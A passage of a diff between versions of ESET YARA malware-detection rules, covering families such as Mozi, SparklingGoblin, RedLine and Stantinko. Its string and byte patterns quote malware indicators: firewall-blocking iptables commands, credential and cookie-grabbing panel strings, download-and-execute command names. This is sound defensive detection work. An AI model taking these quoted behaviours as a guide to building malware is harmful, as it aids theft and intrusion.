id = "c773b09e-9f24-5e75-ba80-4be69af70b06" - date = "2021-08-04" - modified = "2021-08-04" - reference = "https://github.com/eset/malware-ioc/" - source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/badiis/badiis.yar#L525-L552" + description = "Mumblehard i386 assembly code responsible for decrypting Perl code" + author = "Marc-Etienne M.Léveillé" + id = "981c18e3-ac28-54f5-97ab-44b1d12a1389" + date = "2015-04-07" + modified = "2015-05-01" + reference = "http://www.welivesecurity.com" + source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/mumblehard/mumblehard_packer.yar#L32-L47" license_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/LICENSE" - logic_hash = "ef10a4dfb1a9164533677416a7c9ada715ce10bfc1e5f92b56cf54bd890d4575" + logic_hash = "a04f50a7054c4ce8ad9be4e7f3373ad4f36eb9443e223601974e852c25603f5f" score = 75 quality = 80 tags = "" - license = "BSD 2-Clause" version = "1" strings: - $i1 = "agent-self: %s" - $i2 = "/utf.php?key=" - $i3 = "/self.php?v=" - $i4 = "<script type=\"text/javascript\" src=\"//speed.wlaspsd.co" - $i5 = "now.asmkpo.co" - $s1 = "Baiduspider" - $s2 = "360Spider" - $s3 = "Sogou" - $s4 = "YisouSpider" - $s6 = "HTTP_X_FORWARDED_FOR" + $decrypt = { 31 db [1-10] ba ?? 00 00 00 [0-6] (56 5f | 89 F7) + 39 d3 75 13 81 fa ?? 00 00 00 75 02 31 d2 81 c2 ?? 00 00 + 00 31 db 43 ac 30 d8 aa 43 e2 e2 } condition: - ESET_IIS_Native_Module_PRIVATE and 2 of ( $i* ) or 5 of them + $decrypt } -rule ESET_Keydnap_Downloader +rule ESET_Mozi_Killswitch : FILE { meta: - description = "OSX/Keydnap Downloader" - author = "Marc-Etienne M.Léveillé" - id = "2b21007a-b143-5538-8777-ba35448d00aa" - date = "2016-07-06" - modified = "2016-07-06" - reference = "http://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-is-hungry-for-credentials" - source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/keydnap/keydnap.yar#L33-L49" + description = "Mozi botnet kill switch" + author = "Ivan Besina" + id = "e3d34ae0-de06-5ff4-b44b-44d264b6dd29" + date = "2023-09-29" + modified = "2023-10-31" + reference = "https://github.com/eset/malware-ioc/" + source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/mozi/mozi.yar#L32-L51" license_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/LICENSE" - logic_hash = "71c8885193a92fa9c71055c37e629a54d50070cf6820b9216a824ecc4db2ce3c" + logic_hash = "90eaed2f7f5595b145b2678a46ef6179082192215369fa9235024b0ce1574a49" score = 75 quality = 80 - tags = "" + tags = "FILE" + license = "BSD 2-Clause" version = "1" strings: - $ = "icloudsyncd" - $ = "killall Terminal" - $ = "open %s" + $iptables1 = "iptables -I INPUT -p tcp --destination-port 7547 -j DROP" + $iptables2 = "iptables -I OUTPUT -p tcp --sport 30005 -j DROP" + $haha = "/haha" + $networks = "/usr/networks" condition: - 2 of them + all of them and filesize < 500KB } -rule ESET_Keydnap_Backdoor_Packer + +rule ESET_Sparklinggoblin_Chacha20Loader_Richheader { meta: - description = "OSX/Keydnap packed backdoor" - author = "Marc-Etienne M.Léveillé" - id = "f29ad5af-bc86-5764-9451-5a8363788c4e" - date = "2016-07-06" - modified = "2016-07-06" - reference = "http://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-is-hungry-for-credentials" - source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/keydnap/keydnap.yar#L51-L67" + description = "Rule matching ChaCha20 loaders rich header" + author = "ESET Research" + id = "e1dac369-f25e-5cb3-aafa-b0c45f05b295" + date = "2021-03-30" + modified = "2021-08-26" + reference = "https://github.com/eset/malware-ioc/" + source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/sparklinggoblin/SparklingGoblin.yar#L33-L57" license_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/LICENSE" - logic_hash = "b1740bf38376be81d3b42306c2ce81f578c0b5c9db804f063836bf98f57ed147" + hash = "09ffe37a54bc4ebebd8d56098e4c76232f35d821" + hash = "29b147b76bb0d9e09f7297487cb972e6a2905586" + hash = "33f2c3de2457b758fc5824a2b253ad7c7c2e9e37" + hash = "45bef297ce78521eac6ee39e7603e18360e67c5a" + hash = "4cec7cdc78d95c70555a153963064f216dae8799" + hash = "4d4c1a062a0390b20732ba4d65317827f2339b80" + hash = "4f6949a4906b834e83ff951e135e0850fe49d5e4" + logic_hash = "a5c9595036dec0e0aef0a030c590189752217d15d3f53bf3dc537f5b43fae63e" score = 75 quality = 80 tags = "" - version = "1" - - strings: - $upx_string = "This file is packed with the UPX" - $packer_magic = "ASS7" - $upx_magic = "UPX!" + license = "BSD 2-Clause" condition: - $upx_string and $packer_magic and not $upx_magic + pe.rich_signature.length>= 104 and pe.rich_signature.length <= 112 and pe.rich_signature.toolid ( 241 , 40116 ) >= 5 and pe.rich_signature.toolid ( 241 , 40116 ) <= 10 and pe.rich_signature.toolid ( 147 , 30729 ) == 11 and pe.rich_signature.toolid ( 264 , 24215 ) >= 15 and pe.rich_signature.toolid ( 264 , 24215 ) <= 16 } -rule ESET_Keydnap_Backdoor +rule ESET_Sparklinggoblin_Chacha20 : FILE { meta: - description = "Unpacked OSX/Keydnap backdoor" - author = "Marc-Etienne M.Léveillé" - id = "099c1796-6237-5ec1-ba25-cd5feca79865" - date = "2016-07-06" - modified = "2016-07-06" - reference = "http://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-is-hungry-for-credentials" - source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/keydnap/keydnap.yar#L69-L86" + description = "SparklingGoblin ChaCha20 implementations" + author = "ESET Research" + id = "c0caceca-f685-5786-82f6-3ab7435f8061" + date = "2021-05-20" + modified = "2021-08-26" + reference = "https://github.com/eset/malware-ioc/" + source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/sparklinggoblin/SparklingGoblin.yar#L59-L368" license_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/LICENSE" - logic_hash = "fa209577a562ef9088d3ad3df3fbc0edda96f09d19177842f0ddea42c658f530" + hash = "2edbea43f5c40c867e5b6bbd93cc972525df598b" + hash = "b6d245d3d49b06645c0578804064ce0c072cbe0f" + hash = "8be6d5f040d0085c62b1459afc627707b0de89cf" + hash = "4668302969fe122874fb2447a80378dcb671c86b" + hash = "9bdecb08e16a23d271d0a3e836d9e7f83d7e2c3b" + hash = "9ce7650f2c08c391a35d69956e171932d116b8bd" + hash = "91b32e030a1f286e7d502ca17e107d4bfbd7394a" + logic_hash = "b742bc22e0ebbce40607cb109b4d6fb03a40c1fb223c8092d93346dd3dd22789" score = 75 quality = 80 - tags = "" - version = "1" + tags = "FILE" + license = "BSD 2-Clause" strings: - $ = "api/osx/get_task" - $ = "api/osx/cmd_executed" - $ = "Loader-" - $ = "u2RLhh+!LGd9p8!ZtuKcN" - $ = "com.apple.iCloud.sync.daemon" + $chunk_1 = { + 8B 4D ?? + 56 + 8B 75 ?? + 57 + 8B 7D ?? + 8B 04 BB + 01 04 93 + 8B 04 B3 + 33 04 93 + C1 C0 10 + 89 04 B3 + 01 04 8B + 8B 04 BB + 33 04 8B + C1 C0 0C + 89 04 BB + 01 04 93 + 8B 04 B3 + 33 04 93 + C1 C0 08 + 89 04 B3 + 01 04 8B + 8B 04 BB + 33 04 8B + C1 C0 07 + 89 04 BB + } + $chunk_2 = { + 03 4D ?? + 44 03 C0 + 03 55 ?? + 33 F1 + 45 33 D8 + C1 C6 10 + 44 33 F2 + 41 C1 C3 10 + 41 03 FB + 41 C1 C6 10 + 45 03 E6 + 41 03 DA + 44 33 CB + 44 03 EE + 41 C1 C1 10 + 8B C7 + 33 45 ?? + 45 03 F9 + C1 C0 0C + 44 03 C0 + 45 33 D8 + 44 89 45 ?? + 41 C1 C3 08 + 41 03 FB + 44 8B C7 + 44 33 C0 + 41 8B C5 + 33 45 ?? + C1 C0 0C + 03 C8 + 41 C1 C0 07 + 33 F1 + 89 4D ?? + C1 C6 08 + 44 03 EE + 41 8B CD + 33 C8 + 41 8B C4 + 33 45 ?? + C1 C0 0C + 03 D0 + C1 C1 07 + 44 33 F2 + 89 55 ?? + 41 C1 C6 08 + 45 03 E6 + 41 8B D4 + 33 D0 + 41 8B C7 + 41 33 C2 + C1 C2 07 + C1 C0 0C + 03 D8 + 44 33 CB + 41 C1 C1 08 + 45 03 F9 + 45 8B D7 + 44 33 D0 + 8B 45 ?? + 03 C1 + 41 C1 C2 07 + 44 33 C8 + 89 45 ?? + 41 C1 C1 10 + 45 03 E1 + 41 8B C4 + 33 C1 + 8B 4D ?? + C1 C0 0C + 03 C8 + 44 33 C9 + 89 4D ?? + 89 4D ?? + 41 C1 C1 08 + 45 03 E1 + 41 8B CC + 33 C8 + 8B 45 ?? + C1 C1 07 + 89 4D ?? + 89 4D ?? + 03 C2 + 41 03 D8 + 89 45 ?? + 41 33 C3 + C1 C0 10 + 44 03 F8 + 41 8B CF + 33 CA + 8B 55 ?? + } + $chunk_3 = { + C7 45 ?? 65 78 70 61 + 4C 8D 45 ?? + C7 45 ?? 6E 64 20 33 + 4D 8B F9 + C7 45 ?? 32 2D 62 79 + 4C 2B C1 + C7 45 ?? 74 65 20 6B + } + $chunk_4 = { + 0F B6 02 + 0F B6 4A ?? + C1 E1 08 + 0B C8 + 0F B6 42 ?? + C1 E1 08 + 0B C8 + 0F B6 42 ?? + C1 E1 08 + 0B C8 + 41 89 0C 10 + 48 8D 52 ?? + 49 83 E9 01 + } + $chunk_5 = { + 03 4D ?? + 44 03 C0 + 03 55 ?? + 33 F1 + 41 33 F8 + C1 C6 10 + 44 33 F2 + C1 C7 10 + 44 03 DF + 41 C1 C6 10 + 45 03 E6 + 44 03 CB + 45 33 D1 + 44 03 EE + 41 C1 C2 10 + 41 8B C3 + 33 45 ?? + 45 03 FA + C1 C0 0C + 44 03 C0 + 41 33 F8 + 44 89 45 ?? + C1 C7 08 + 44 03 DF + 45 8B C3 + 44 33 C0 + 41 8B C5 + 33 45 ?? + C1 C0 0C + 03 C8 + 41 C1 C0 07 + 33 F1 + 89 4D ?? + C1 C6 08 + 44 03 EE + 41 8B CD + 33 C8 + 41 8B C4 + 33 45 ?? + C1 C0 0C + 03 D0 + C1 C1 07 + 44 33 F2 + 89 55 ?? + 41 C1 C6 08 + 45 03 E6 + 41 8B D4 + 33 D0 + 41 8B C7 + 33 C3 + C1 C2 07 + C1 C0 0C + 44 03 C8 + 45 33 D1 + 41 C1 C2 08 + 45 03 FA + 41 8B DF + 33 D8 + 8B 45 ?? + 03 C1 + C1 C3 07 + 44 33 D0 + 89 45 ?? + 41 C1 C2 10 + 45 03 E2 + 41 8B C4 + 33 C1 + 8B 4D ?? + C1 C0 0C + 03 C8 + 44 33 D1 + 89 4D ?? + 89 4D ?? + 41 C1 C2 08 + 45 03 E2 + 41 8B CC + 33 C8 + 8B 45 ?? + C1 C1 07 + 89 4D ?? + 89 4D ?? + 03 C2 + 45 03 C8 + 89 45 ?? + 33 C7 + C1 C0 10 + 44 03 F8 + 41 8B CF + 33 CA + 8B 55 ?? + C1 C1 0C + 03 D1 + 8B FA + 89 55 ?? + 33 F8 + 89 55 ?? + 8B 55 ?? + 03 D3 + C1 C7 08 + 44 03 FF + 41 8B C7 + 33 C1 + C1 C0 07 + 89 45 ?? + 89 45 ?? + 8B C2 + 33 C6 + C1 C0 10 + 44 03 D8 + 41 33 DB + C1 C3 0C + 03 D3 + 8B F2 + 89 55 ?? + 33 F0 + 41 8B C1 + 41 33 C6 + C1 C6 08 + C1 C0 10 + 44 03 DE + 44 03 E8 + 41 33 DB + 41 8B CD + C1 C3 07 + 41 33 C8 + 44 8B 45 ?? + C1 C1 0C + 44 03 C9 + 45 8B F1 + 44 33 F0 + 41 C1 C6 08 + 45 03 EE + 41 8B C5 + 33 C1 + 8B 4D ?? + C1 C0 07 + } condition: - 2 of them + any of them and filesize < 450KB } -rule ESET_Prikormka +rule ESET_Sparklinggoblin_Etweventwrite { meta: - description = "No description has been set in the source file - ESET" - author = "ESET TI" - id = "6073aa34-d385-5ae8-b97d-9b3d61015aae" - date = "2016-05-10" - modified = "2019-08-28" + description = "SparklingGoblin EtwEventWrite patching" + author = "ESET Research" + id = "27b36ee1-a98c-5174-a156-8e0b0d0a58cd" + date = "2021-05-20" + modified = "2021-08-26" reference = "https://github.com/eset/malware-ioc/" - source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/groundbait/prikormka.yar#L130-L141" - license_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/LICENSE" - logic_hash = "f64195e680fbaefedba248aa15b37ed30ba72f42958cc48963a140165e951bff" - score = 75 - quality = 80 - tags = "" - Author = "Anton Cherepanov" - Description = "Operation Groundbait" - Contact = "threatintel@eset.com" - License = "BSD 2-Clause" - - condition: - ESET_Prikormkadropper_PRIVATE or ESET_Prikormkamodule_PRIVATE or ESET_Prikormkaearlyversion_PRIVATE -} -rule ESET_Linux_Rakos -{ - meta: - description = "Linux/Rakos.A executable" - author = "Peter Kálnai" - id = "3c15401a-22c1-59e2-a979-1f9a6a990ae0" - date = "2016-12-13" - modified = "2016-12-19" - reference = "http://www.welivesecurity.com/2016/12/20/new-linuxrakos-threat-devices-servers-ssh-scan/" - source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/rakos/rakos.yar#L33-L53" + source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/sparklinggoblin/SparklingGoblin.yar#L370-L463" license_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/LICENSE" - logic_hash = "79a02ada56bf75c5f178b58822eb905977cace3483453ea8cf4dfc32f6b6c30d" + hash = "2edbea43f5c40c867e5b6bbd93cc972525df598b" + hash = "b6d245d3d49b06645c0578804064ce0c072cbe0f" + hash = "8be6d5f040d0085c62b1459afc627707b0de89cf" + hash = "4668302969fe122874fb2447a80378dcb671c86b" + hash = "9bdecb08e16a23d271d0a3e836d9e7f83d7e2c3b" + hash = "9ce7650f2c08c391a35d69956e171932d116b8bd" + logic_hash = "45615dcc5302392c18052818071623a9d1a1008c460bdb24a4acfb4300356c6b" score = 75 quality = 80 tags = "" - version = "1" - contact = "threatintel@eset.com" license = "BSD 2-Clause" strings: - $ = "upgrade/vars.yaml" - $ = "MUTTER" - $ = "/tmp/.javaxxx" - $ = "uckmydi" + $chunk_1 = { + 48 8D 0D ?? ?? ?? ?? + C7 44 24 ?? 48 31 C0 C3 + FF 15 ?? ?? ?? ?? + 48 8B C8 + 48 8D 15 ?? ?? ?? ?? + FF 15 ?? ?? ?? ?? + 83 64 24 ?? 00 + 4C 8D 4C 24 ?? + BF 04 00 00 00 + 48 8B C8 + 8B D7 + 48 8B D8 + 44 8D 47 ?? + FF 15 ?? ?? ?? ?? + 44 8B C7 + 48 8D 54 24 ?? + 48 8B CB + E8 ?? ?? ?? ?? + 44 8B 44 24 ?? + 4C 8D 4C 24 ?? + 8B D7 + 48 8B CB + FF 15 ?? ?? ?? ?? + 48 8B 05 ?? ?? ?? ?? + } + $chunk_2 = { + 55 + 8B EC + 51 + 51 + 57 + 68 08 1A 41 00 + 66 C7 45 ?? C2 14 + C6 45 ?? 00 + FF 15 ?? ?? ?? ?? + 68 10 1A 41 00 + 50 + FF 15 ?? ?? ?? ?? + 83 65 ?? 00 + 8B F8 + 8D 45 ?? + 50 + 6A 40 + 6A 03 + 57 + FF 15 ?? ?? ?? ?? + 6A 03 + 8D 45 ?? + 50 + 57 + E8 ?? ?? ?? ?? + 83 C4 0C + 8D 45 ?? + 50 + FF 75 ?? + 6A 03 + 57 + FF 15 ?? ?? ?? ?? + } + $chunk_3 = { + 48 8D 0D ?? ?? ?? ?? + C7 44 24 ?? 48 31 C0 C3 + FF 15 ?? ?? ?? ?? + 48 8B C8 + 48 8D 15 ?? ?? ?? ?? + FF 15 ?? ?? ?? ?? + } condition: - 3 of them + any of them } -rule ESET_Cw_Windows_Redline_Panel_Tab_Headers : FILE +rule ESET_Sparklinggoblin_Mutex { meta: - description = "Matches view headers in Redline Panel" + description = "SparklingGoblin ChaCha20 loaders mutexes" author = "ESET Research" - id = "44a95845-b0a3-59c1-8188-86d415eff0bf" - date = "2022-10-11" - modified = "2024-11-12" + id = "e33d2bc1-29d6-5117-8e0f-31f8bced0979" + date = "2021-05-20" + modified = "2021-08-26" reference = "https://github.com/eset/malware-ioc/" - source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/redline/redline.yar#L32-L55" + source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/sparklinggoblin/SparklingGoblin.yar#L465-L489" license_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/LICENSE" - hash = "a154dfaedc237c047f419eb6884dab1ef4e2a17d" - logic_hash = "3198aa9df2814a5f1d5568c6eed5f3189b2f72b3928cc97645f9bf57eebab9ac" + hash = "2edbea43f5c40c867e5b6bbd93cc972525df598b" + hash = "b6d245d3d49b06645c0578804064ce0c072cbe0f" + hash = "8be6d5f040d0085c62b1459afc627707b0de89cf" + hash = "4668302969fe122874fb2447a80378dcb671c86b" + hash = "9bdecb08e16a23d271d0a3e836d9e7f83d7e2c3b" + hash = "9ce7650f2c08c391a35d69956e171932d116b8bd" + logic_hash = "00fbd514c8e2d6dea3b0f175e857a613e158b64caf1f970e814d62f1ebe9d35c" score = 75 quality = 80 - tags = "FILE" + tags = "" license = "BSD 2-Clause" - version = 2 strings: - $ = "RedLine | Log In" - $ = "RedLine | Autofilles Viewer" - $ = "RedLine | Choose Browser" - $ = "RedLine | Cookie Viewer" - $ = "RedLine | Credit Card Viewer" - $ = "RedLine | Files Viewer" - $ = "RedLine | Log saver" - $ = "RedLine | System Info Viewer" + $mutex_1 = "kREwdFrOlvASgP4zWZyV89m6T2K0bIno" + $mutex_2 = "v5EPQFOImpTLaGZes3Nl1JSKHku8AyCw" condition: - uint16( 0 ) == 0x5A4D and 6 of them + any of them } -rule ESET_Cw_Windows_Redline_Panel_Distinctive_Strings : FILE +rule ESET_Potao { meta: - description = "Matches rare strings found in Redline panel" - author = "ESET Research" - id = "d40ccb6b-e777-5c05-b97c-ead910047649" - date = "2022-10-11" - modified = "2024-11-12" + description = "No description has been set in the source file - ESET" + author = "ESET TI" + id = "9c755cb8-9e3f-5118-a8e0-4ded9a075cbd" + date = "2015-07-29" + modified = "2015-07-30" reference = "https://github.com/eset/malware-ioc/" - source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/redline/redline.yar#L57-L77" + source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/potao/PotaoNew.yara#L96-L108" license_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/LICENSE" - hash = "a154dfaedc237c047f419eb6884dab1ef4e2a17d" - logic_hash = "7ff0239426c4c3b46a269fad71232295c038c09f276cdc3c7f1142c830260a6d" + logic_hash = "c68addb14f7c22cec0c4d58bfffd373b2e3eb5c53a5b65532c84574e073fcbba" score = 75 quality = 80 - tags = "FILE" - license = "BSD 2-Clause" - version = 2 - - strings: - $env_var = "%DSK_23%" - $fn_name = "IsGratherThan" - $telegram0 = "Telegram: @REDLINESUPPORT" - $telegram1 = "https://t.me/REDLINESUPPORT" + tags = "" + Author = "Anton Cherepanov" + Description = "Operation Potao" + Contact = "threatintel@eset.com" + License = "BSD 2-Clause" condition: - uint16( 0 ) == 0x5A4D and any of them + ESET_Potaodecoy_PRIVATE or ESET_Potaodll_PRIVATE or ESET_Potaousb_PRIVATE or ESET_Potaosecondstage_PRIVATE } -rule ESET_Cw_Windows_Redline_Panel_Prompts : FILE + +rule ESET_Beds_Plugin { meta: - description = "Matches prompt messages in Redline panel" - author = "ESET Research" - id = "3481586b-ed4b-5a27-82a0-0bbb3eea279e" - date = "2022-10-11" - modified = "2024-11-12" + description = "No description has been set in the source file - ESET" + author = "ESET TI" + id = "7c038e92-1064-503e-9d63-2d2c10f1759e" + date = "2017-07-17" + modified = "2017-07-20" reference = "https://github.com/eset/malware-ioc/" - source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/redline/redline.yar#L79-L113" + source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/stantinko/stantinko.yar#L34-L51" license_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/LICENSE" - hash = "a154dfaedc237c047f419eb6884dab1ef4e2a17d" - logic_hash = "0dfab05a9383ba13b3c610f1ab0c81e95804470002f27171ab39706f7723983a" + logic_hash = "024cb91288f133e4cdf5993ac0477de6de76d38fa06f7affa348c6a28a4600da" score = 75 quality = 80 - tags = "FILE" - license = "BSD 2-Clause" - version = 2 - - strings: - $ = "Choose directory to save log" - $ = "Select log to set comment" - $ = "Please enter an action to create new task" - $ = "Please enter a target to create new task" - $ = "Please enter a final point to create new task" - $ = "Please enter a correct action to create new task" - $ = "Please enter a correct final point to create new task" - $ = "Please enter an action to edit task" - $ = "Please enter a target to edit task" - $ = "Please enter a final point to edit task" - $ = "Please enter a correct action to edit task" - $ = "Please enter a correct final point to edit task" - $ = "Please enter a correct status to edit task" - $ = "Please, enter a domains" - $ = "Please, enter a valid server ip" - $ = "Choose a file to pump" - $ = "Enter a valid count of bytes" - $ = "Enter a valid count of bytes. Must be more then zero" - $ = "Disconnected. Reboot your panel" + tags = "" + Author = "Frédéric Vachon" + Description = "Stantinko BEDS' plugins" + Contact = "github@eset.com" + License = "BSD 2-Clause" condition: - uint16( 0 ) == 0x5A4D and 10 of them + pe.exports( "CheckDLLStatus" ) and pe.exports ( "GetPluginData" ) and pe.exports ( "InitializePlugin" ) and pe.exports ( "IsReleased" ) and pe.exports ( "ReleaseDLL" ) } -rule ESET_Cw_Windows_Redline_Panel_Status_Message_Strings : FILE + +rule ESET_Beds_Dropper { meta: - description = "Matches error/success messages in Redline panel" - author = "ESET Research" - id = "70bdff10-9c86-57e3-b839-e86173a44855" - date = "2022-10-11" - modified = "2024-11-12" + description = "No description has been set in the source file - ESET" + author = "ESET TI" + id = "47ccab59-253f-55d4-b38a-4441802626fc" + date = "2017-07-17" + modified = "2017-07-20" reference = "https://github.com/eset/malware-ioc/" - source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/redline/redline.yar#L115-L142" + source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/stantinko/stantinko.yar#L53-L67" license_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/LICENSE" - hash = "a154dfaedc237c047f419eb6884dab1ef4e2a17d" - logic_hash = "c60fabc81967b083be72ff564af744ab60441de5d563ea6d88d873c0a99bfbdd" + logic_hash = "4b5d121e182e3fddd766a7a1227c5de273995e9336156e7a6e8a17faad681bea" score = 75 quality = 80 - tags = "FILE" - license = "BSD 2-Clause" - version = 1 - - strings: - $ = "All Browsers are empty" - $ = "Client [{0}:{1}:{2}] completed task with {3} ID." - $ = "A List of logs cleared" - $ = "Browsers not found" - $ = "Browsers is empty" - $ = "Done. Check your build file" - $ = "You must to enable assembly info or certificate in settings" - $ = "Duplicate log from " - $ = "Password list is empty" - $ = "Cookie list is empty" - $ = "FTPs not found" - $ = "Files not found" + tags = "" + Author = "Frédéric Vachon" + Description = "BEDS dropper" + Contact = "github@eset.com" + License = "BSD 2-Clause" condition: - uint16( 0 ) == 0x5A4D and 8 of them + pe.imphash( ) == "a7ead4ef90d9981e25728e824a1ba3ef" } -rule ESET_Cw_Windows_Redline_Panel_Commands : FILE +rule ESET_Facebook_Bot : FILE { meta: - description = "Matches commands and functionalities in Redline panel" - author = "ESET Research" - id = "b479dc47-53a0-5ead-a4c3-bcdfcaf82ef8" - date = "2022-10-11" - modified = "2024-11-12" + description = "No description has been set in the source file - ESET" + author = "ESET TI" + id = "643b137f-af79-584c-8266-f2335a79f1ba" + date = "2017-07-17" + modified = "2017-07-20" reference = "https://github.com/eset/malware-ioc/" - source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/redline/redline.yar#L144-L172" + source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/stantinko/stantinko.yar#L69-L100" license_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/LICENSE" - hash = "a154dfaedc237c047f419eb6884dab1ef4e2a17d" - logic_hash = "724516101264aa89259e847e4703d4eb993f330f82bd2df2433176b11d0c8974" + logic_hash = "8ea779f90fa6080398403e3e6f9d342360c35e93c756ed43cb699f090106504e" score = 75 quality = 55 tags = "FILE" - license = "BSD 2-Clause" - version = 2 + Author = "Frédéric Vachon" + Description = "Stantinko's Facebook bot" + Contact = "github@eset.com" + License = "BSD 2-Clause" strings: - $cmd0 = "Download" - $cmd1 = "RunPE" - $cmd2 = "DownloadAndEx" - $cmd3 = "OpenLink" - $cmd4 = "Cmd" - $action0 = "GrabBrowsers" - $action1 = "GrabFiles" - $action2 = "GrabImClients" - $action3 = "AntiDuplicate" - $action4 = "grabBrowsers" - $action5 = "grabFiles" - $action6 = "grabImClients" - $action7 = "antiDuplicate" + $s1 = "m_upload_pic&return_uri=https%3A%2F%2Fm.facebook.com%2Fprofile.php" fullword ascii + $s2 = "D:\\work\\brut\\cms\\facebook\\facebookbot\\Release\\facebookbot.pdb" fullword ascii + $s3 = "https%3A%2F%2Fm.facebook.com%2Fcomment%2Freplies%2F%3Fctoken%3D" fullword ascii + $s4 = "reg_fb_gate=https%3A%2F%2Fm.facebook.com%2Freg" fullword ascii + $s5 = "reg_fb_ref=https%3A%2F%2Fm.facebook.com%2Freg%2F" fullword ascii + $s6 = "&return_uri_error=https%3A%2F%2Fm.facebook.com%2Fprofile.php" fullword ascii + $x1 = "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.71 Safari/537.36" fullword ascii + $x2 = "registration@facebookmail.com" fullword ascii + $x3 = "https://m.facebook.com/profile.php?mds=" fullword ascii + $x4 = "https://upload.facebook.com/_mupload_/composer/?profile&domain=" fullword ascii + $x5 = "http://staticxx.facebook.com/connect/xd_arbiter.php?version=42#cb=ff43b202c" fullword ascii + $x6 = "https://upload.facebook.com/_mupload_/photo/x/saveunpublished/" fullword ascii + $x7 = "m.facebook.com&ref=m_upload_pic&waterfall_source=" fullword ascii + $x8 = "payload.commentID" fullword ascii + $x9 = "profile.login" fullword ascii condition: - uint16( 0 ) == 0x5A4D and all of ( $cmd* ) and 4 of ( $action* ) + ( uint16( 0 ) == 0x5a4d and filesize < 1000KB and ( 1 of ( $s* ) or 3 of ( $x* ) ) ) or ( all of them ) } -rule ESET_Apt_Windows_TA410_Tendyron_Dropper +rule ESET_Pds_Plugins : FILE { meta: - description = "TA410 Tendyron Dropper" - author = "ESET Research" - id = "8d1e16d9-b5c2-5427-a0b4-7dd00a9df5ec" - date = "2020-12-09" - modified = "2022-04-27" + description = "No description has been set in the source file - ESET" + author = "ESET TI" + id = "dfa75db5-f21c-5b5e-84ba-3bfdcc3efdcd" + date = "2017-07-17" + modified = "2017-07-20" reference = "https://github.com/eset/malware-ioc/" - source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/ta410/ta410.yar#L34-L53" + source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/stantinko/stantinko.yar#L102-L130" license_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/LICENSE" - logic_hash = "45f7300a4b85624ad3fda5c73a24f53f53cb7990def4d84e04dcd8e5747f4f2e" + logic_hash = "26bbd380b72fb45206178639d67c8737b9984b140ba1048432949e159946c847" score = 75 quality = 80 - tags = "" - license = "BSD 2-Clause" - version = "1" + tags = "FILE" + Author = "Frédéric Vachon" + Description = "Stantinko PDS' plugins" + Contact = "github@eset.com" + License = "BSD 2-Clause" strings: - $s1 = "Global\\{F473B3BE-08EE-4710-A727-9E248F804F4A}" wide - $s2 = "Global\\8D32CCB321B2" wide - $s3 = "Global\\E4FE94F75490" wide - $s4 = "Program Files (x86)\\Internet Explorer\\iexplore.exe" wide - $s5 = "\\RPC Control\\OLE" wide - $s6 = "ALPC Port" wide + $s1 = "std::_Vector_val<CHTTPPostItem *,std::allocator<CHTTPPostItem *> >" fullword ascii + $s2 = "std::_Vector_val<CHTTPHeader *,std::allocator<CHTTPHeader *> >" fullword ascii + $s3 = "std::vector<CHTTPHeader *,std::allocator<CHTTPHeader *> >" fullword ascii + 